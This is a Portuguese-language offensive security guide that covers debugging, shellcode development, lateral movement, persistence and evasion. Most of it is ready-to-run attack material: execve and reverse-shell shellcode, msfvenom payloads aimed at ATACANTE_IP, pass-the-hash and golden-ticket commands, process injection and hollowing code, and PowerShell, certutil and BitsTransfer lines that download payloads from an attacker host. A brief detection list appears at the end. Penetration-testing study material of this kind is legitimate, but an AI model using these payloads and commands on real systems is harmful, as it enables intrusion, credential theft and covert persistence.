F2 - Toggle breakpoint
F7 - Step into
F8 - Step over
F9 - Run
Ctrl+G - Go to address

# Janelas importantes
- CPU (assembly)
- Registers
- Memory dump
- Stack

WinDbg (Windows)

# Anexar a processo
.attach PID

# Breakpoints
bp kernel32!CreateFileA
bp 0x401000

# Examinar
dd esp L10              # Dump stack
u eip L10               # Unassemble
dt nt!_PEB @$peb        # Dump structure

# Buscar por padrões
s -a 0x00400000 L?1000000 "password"
s -u 0x00400000 L?1000000 "admin"

# Call stack
k
kn
kb

Radare2

# Análise básica
r2 -d ./programa
aaa                     # Analisar tudo
afl                     # Listar funções
pdf @main               # Disassembly função

# Debugging
db 0x08048000          # Breakpoint
dc                     # Continue
ds                     # Step
dr                     # Registradores

# Buscar
/ lib                  # Buscar string "lib"
/x 41414141           # Buscar bytes

# Visual mode
V                      # Entrar no visual
VV                     # Graph mode

Shellcode Development

Shellcode Fundamentais

Execve Shell (Linux)

# Shellcode para execve("/bin/sh", NULL, NULL)
# Assembly:
xor eax, eax        ; EAX = 0
push eax            ; NULL terminator
push 0x68732f2f     ; "hs//"
push 0x6e69622f     ; "nib/"  = "/bin//sh"
mov ebx, esp        ; EBX = pointer to "/bin//sh"
mov ecx, eax        ; ECX = NULL (argv)
mov edx, eax        ; EDX = NULL (envp)
mov al, 0x0b        ; EAX = 11 (sys_execve)
int 0x80            ; System call

# Hexadecimal:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80

WinExec Shell (Windows)

# Shellcode para WinExec("cmd.exe", SW_HIDE)
# Mais complexo devido a resolução de APIs

# Encontrar kernel32.dll base
# Encontrar WinExec address
# Preparar argumentos
# Chamar WinExec

# Exemplo simplificado (msfvenom gerado):
msfvenom -p windows/exec CMD=cmd.exe -f c
# Resultado: array de bytes pronto para uso

Reverse Shell

# Gerar reverse shell com msfvenom
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f c

# Exemplo de saída:
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x0a\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
...

# Usar no exploit:
char exploit[] = "A" * offset + return_addr + nop_sled + shellcode;

Restrições de Shellcode

Bad Characters

# Caracteres comuns que quebram shellcode:
\x00  # NULL byte (termina strings)
\x0a  # Line Feed (LF)
\x0d  # Carriage Return (CR)
\x20  # Space
\x09  # Tab

# Testar bad chars:
badchars = (
    "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    # ... até \xff
)

# Enviar com exploit e verificar na memória
# Remover caracteres que não aparecem corretamente

Limitações de Espaço

# Shellcode pequeno (egg hunter)
# Quando espaço é limitado, usar técnica de egg hunter

# 1. Colocar shellcode real em outro local da memória
# 2. Marcar com "tag" único (egg)
# 3. Usar pequeno shellcode que procura pelo egg

# Egg hunter (32 bytes):
egg = "w00t"  # 4 byte tag
hunter = (
    "\x66\x81\xca\xff\x0f"  # or dx, 0x0fff
    "\x42"                  # inc edx
    "\x52"                  # push edx
    "\x6a\x02"              # push 2
    "\x58"                  # pop eax
    "\xcd\x2e"              # int 0x2e
    "\x3c\x05"              # cmp al, 5
    "\x5a"                  # pop edx
    "\x74\xef"              # jz short hunter
    "\xb8" + egg            # mov eax, egg
    "\x8b\xfa"              # mov edi, edx
    "\xaf"                  # scasd
    "\x75\xea"              # jnz short hunter
    "\xaf"                  # scasd
    "\x75\xe7"              # jnz short hunter
    "\xff\xe7"              # jmp edi
)

Encoding e Obfuscação

XOR Encoding

# Encoder XOR simples
def xor_encode(shellcode, key):
    encoded = []
    for byte in shellcode:
        encoded.append(chr(ord(byte) ^ key))
    return ''.join(encoded)

# Decoder XOR (assembly)
decoder = (
    "\xeb\x0c"              # jmp short call_decoder
    "\x5e"                  # pop esi (get shellcode address)
    "\x31\xc9"              # xor ecx, ecx
    "\xb1\x1e"              # mov cl, 30 (shellcode length)
    "\x80\x36\xaa"          # xor byte ptr [esi], 0xaa (XOR key)
    "\x46"                  # inc esi
    "\xe2\xfb"              # loop decode_loop
    "\xff\xe6"              # jmp esi (execute decoded shellcode)
    "\xe8\xef\xff\xff\xff"  # call decoder
    # encoded shellcode aqui
)

# Usar com msfvenom:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 3 -f c

Alpha-Numeric Encoding

# Quando apenas caracteres alfa-numéricos são permitidos
# Usar encoders especializados

# msfvenom com encoder alfa-numérico
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/alpha_mixed -f c

# Alpha3 (ferramenta especializada)
# Converte shellcode binário para alfa-numérico
./alpha3 x86 ascii --input=shellcode.bin --output=encoded.txt

Testing Shellcode

Programa de Teste (C)

#include <stdio.h>
#include <string.h>

// Shellcode para testar
unsigned char shellcode[] = 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";

int main() {
    printf("Shellcode Length: %d\n", strlen(shellcode));
    
    // Executar shellcode
    int (*func)() = (int(*)())shellcode;
    func();
    
    return 0;
}

// Compilar:
// gcc -z execstack -o test test.c

Análise com ndisasm

# Disassembly do shellcode
echo -ne "\x31\xc0\x50\x68..." | ndisasm -u -

# Ou salvar em arquivo
python -c "print('\x31\xc0\x50\x68...')" > shellcode.bin
ndisasm -u shellcode.bin

# Verificar se não há instruções inválidas
# Confirmar que o flow está correto
Recursos de Aprendizado
  • Documentação Linux: man 2 syscalls, /usr/include/asm/unistd.h
  • Referência Intel: Intel 64 and IA-32 Architectures Software Developer's Manual
  • Courses: Corelan Team tutorials, SecurityTube Assembly Expert (SLAE)
  • Practice: VulnServer, Buffer Overflow Prep (TryHackMe), OverTheWire
  • Tools: pwntools, ROPgadget, ropper, peda, gef

Movimento Lateral

Após comprometer um sistema inicial, o movimento lateral permite expandir o acesso através da rede, explorando confiança entre sistemas e credenciais compartilhadas.

Fluxo de Movimento Lateral

1

Compromisso Inicial

Acesso ao primeiro sistema alvo

2

Enumeração Local

Descobrir credenciais e serviços

3

Descoberta de Rede

Mapear sistemas adjacentes

4

Movimento

Pass-the-Hash/Ticket, RCE

5

Persistência

Manter acesso no novo sistema

Cenários de Movimento

Movimento em Ambiente Windows AD

🖥️

Workstation

Compromisso inicial
Phishing/Exploit

Pass-the-Hash →
💻

Member Server

File/Web Server
Service Account

Kerberoasting →
🏢

Domain Controller

Domain Admin
Golden Ticket

Vetores Comuns
  • Credenciais em cache (LSA Secrets)
  • Service accounts com privilégios elevados
  • Shared local admin passwords
  • Constrained/Unconstrained delegation
  • Trust relationships entre domínios
Técnicas de Pivoting
  • PSExec/WMI para execução remota
  • PowerShell Remoting (WinRM)
  • RDP com credenciais roubadas
  • DCOM para execução remota
  • SSH tunneling através de sistemas

Movimento em Ambientes Linux

🐧

Web Server

Web shell
RCE inicial

SSH Keys →
💾

Database Server

Shared credentials
DB access

Sudo rights →
👑

Admin Server

Root access
Infrastructure control

Descoberta de SSH Keys

# Procurar por chaves SSH
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# Verificar authorized_keys
find / -name "authorized_keys" 2>/dev/null

# SSH Agent forwarding
ssh -A user@intermediate-host
ssh target-host  # Usa as keys do agent

Pivoting com SSH

# Dynamic port forwarding (SOCKS proxy)
ssh -D 8080 user@pivot-host

# Local port forwarding
ssh -L 3306:internal-db:3306 user@pivot-host

# Remote port forwarding (reverse tunnel)
ssh -R 4444:localhost:4444 user@attacker-host

Movimento em Ambientes Cloud

☁️

Cloud Instance

EC2/VM
SSRF/RCE

IAM Roles →
🔑

Service Account

Elevated permissions
Cross-service access

Privilege Escalation →
👨‍💼

Admin Account

Full cloud access
Infrastructure control

AWS Lateral Movement
  • EC2 instance metadata service (IMDS)
  • Cross-account role assumption
  • Lambda function privilege escalation
  • S3 bucket policy exploitation
  • EKS cluster role binding abuse
Azure/GCP Movement
  • Managed Identity token theft
  • Service Principal escalation
  • Container escape to host
  • Key Vault secret enumeration
  • Resource group privilege abuse

Técnicas de Movimento

Pass-the-Hash (PtH)

# Usando hashes NTLM sem quebrar a senha
# CrackMapExec
crackmapexec smb REDE_ALVO/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76

# Impacket - psexec
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 administrator@SERVIDOR_IP

# Metasploit
use exploit/windows/smb/psexec
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76

Pass-the-Ticket (PtT)

# Usando tickets Kerberos
# Mimikatz
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi

# Impacket
python getTGT.py domain.com/user:password
export KRB5CCNAME=user.ccache
python psexec.py -k -no-pass domain.com/user@target.domain.com

# Rubeus
Rubeus.exe asktgt /user:user /password:password /domain:domain.com
Rubeus.exe ptt /ticket:base64ticket

Golden Ticket

# Criando Golden Ticket (requer hash krbtgt)
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ptt

# Impacket
python ticketer.py -nthash krbtgt_hash -domain-sid S-1-5-21-... -domain domain.com Administrator

# Usar ticket
export KRB5CCNAME=Administrator.ccache
python psexec.py -k -no-pass domain.com/Administrator@dc.domain.com

Silver Ticket

# Ticket para serviço específico (requer hash do service account)
# Mimikatz para CIFS
kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /target:server.domain.com /service:cifs /rc4:service_hash /ptt

# Para diferentes serviços:
# HTTP: /service:http
# MSSQL: /service:mssqlsvc
# HOST: /service:host (psexec)
# RPCSS: /service:rpcss (wmiexec)

Ferramentas de Execução Remota

PsExec

# PsExec original (Sysinternals)
psexec \\SERVIDOR_IP -u domain\user -p password cmd

# Impacket psexec
python psexec.py domain/user:password@SERVIDOR_IP
python psexec.py -hashes LM:NT domain/user@SERVIDOR_IP

# Metasploit
use exploit/windows/smb/psexec
set RHOSTS SERVIDOR_IP
set SMBUser user
set SMBPass password

WMI Execution

# wmiexec (Impacket)
python wmiexec.py domain/user:password@SERVIDOR_IP
python wmiexec.py -hashes LM:NT domain/user@SERVIDOR_IP

# WMI nativo (Windows)
wmic /node:SERVIDOR_IP /user:domain\user /password:password process call create "cmd.exe"

# PowerShell
$cred = Get-Credential
Invoke-WmiMethod -ComputerName SERVIDOR_IP -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe"

SSH/RDP Tunneling

# SSH Port Forwarding
ssh -L 3389:REDE2_IP:3389 user@SERVIDOR_IP  # Local forward
ssh -R 4444:localhost:4444 user@SERVIDOR_IP      # Remote forward
ssh -D 1080 user@SERVIDOR_IP                     # SOCKS proxy

# SSH através de múltiplos hops
ssh -J user1@host1,user2@host2 user3@target

# Meterpreter port forwarding
portfwd add -l 3389 -p 3389 -r REDE2_IP

Outros Métodos

# SMBExec
python smbexec.py domain/user:password@SERVIDOR_IP

# DcomExec
python dcomexec.py domain/user:password@SERVIDOR_IP

# AtExec (Scheduled Tasks)
python atexec.py domain/user:password@SERVIDOR_IP "whoami"

# Evil-WinRM
evil-winrm -i SERVIDOR_IP -u user -p password
evil-winrm -i SERVIDOR_IP -u user -H hash

Persistence e Evasão

Métodos de Persistência

Registry Run Keys

# Adicionar entrada no registry
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "BackgroundApp" /t REG_SZ /d "C:\Windows\System32\evil.exe"

# Current User
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "UserApp" /t REG_SZ /d "C:\Users\user\AppData\evil.exe"

# Verificar entradas existentes
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Scheduled Tasks

# Criar task agendada
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\System32\evil.exe" /sc onlogon
schtasks /create /tn "Maintenance" /tr "powershell.exe -enc " /sc daily /st 09:00

# Listar tasks
schtasks /query /fo LIST /v

# Executar task
schtasks /run /tn "WindowsUpdate"

Services

# Criar serviço
sc create BackgroundSvc binpath= "C:\Windows\System32\evil.exe" start= auto
net start BackgroundSvc

# Modificar serviço existente
sc config ExistingService binpath= "C:\Windows\System32\evil.exe"

# PowerShell
New-Service -Name "BackgroundSvc" -BinaryPathName "C:\Windows\System32\evil.exe" -StartupType Automatic

Process Injection

DLL Injection

# PowerShell Invoke-DllInjection
Import-Module PowerSploit
Invoke-DllInjection -ProcessID 1234 -Dll C:\evil.dll

# Meterpreter
migrate 1234

# Manual (C++)
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteMemory, szDllPath, dwSize, NULL);
CreateRemoteThread(hProcess, NULL, 0, LoadLibraryA, pRemoteMemory, 0, NULL);

Process Hollowing

# Processo suspenso + substituição de código
# 1. Criar processo em estado suspenso
CreateProcess(..., CREATE_SUSPENDED, ...);

# 2. Desalocar memória original
NtUnmapViewOfSection(hProcess, pImageBase);

# 3. Alocar nova memória
VirtualAllocEx(hProcess, pImageBase, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

# 4. Escrever novo código
WriteProcessMemory(hProcess, pImageBase, pMaliciousImage, dwImageSize, NULL);

# 5. Resumir execução
ResumeThread(hThread);

Reflective DLL Injection

# Carregamento de DLL direto na memória (sem disco)
# Meterpreter
use post/windows/manage/reflective_dll_inject
set SESSION 1
set DLL /path/to/dll
run

# PowerShell (Invoke-ReflectivePEInjection)
Import-Module PowerSploit
Invoke-ReflectivePEInjection -PEPath C:\evil.dll -ProcessID 1234

Técnicas de Evasão

AV Evasion

# Encoding payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe

# Veil Framework
./Veil.py -p go/meterpreter/rev_tcp.py -c LHOST=ATACANTE_IP LPORT=4444

# Donut (In-memory .NET execution)
donut.exe -a 2 -f 1 -o payload.bin program.exe

# PowerShell obfuscation
Invoke-Obfuscation
Set-Item "Token\All\1" # Obfuscar todos os tokens

Living off the Land

# Usar binários legítimos do Windows
# PowerShell download
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATACANTE_IP/script.ps1')"

# Certutil download
certutil -urlcache -split -f http://ATACANTE_IP/payload.exe payload.exe

# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source http://ATACANTE_IP/payload.exe -Destination payload.exe

# Rundll32 execution
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";[TEXTO DE EXEMPLO - alert('test')];
Detecção e Defesa
  • Monitoramento: Event IDs 4624/4625 (logon), 4648 (explicit credentials), 4672 (admin logon)
  • Network: Unusual SMB traffic, multiple authentication attempts, lateral movement patterns
  • Process: PsExec, WMI process creation, injection indicators
  • Credentials: Privileged account usage, service account anomalies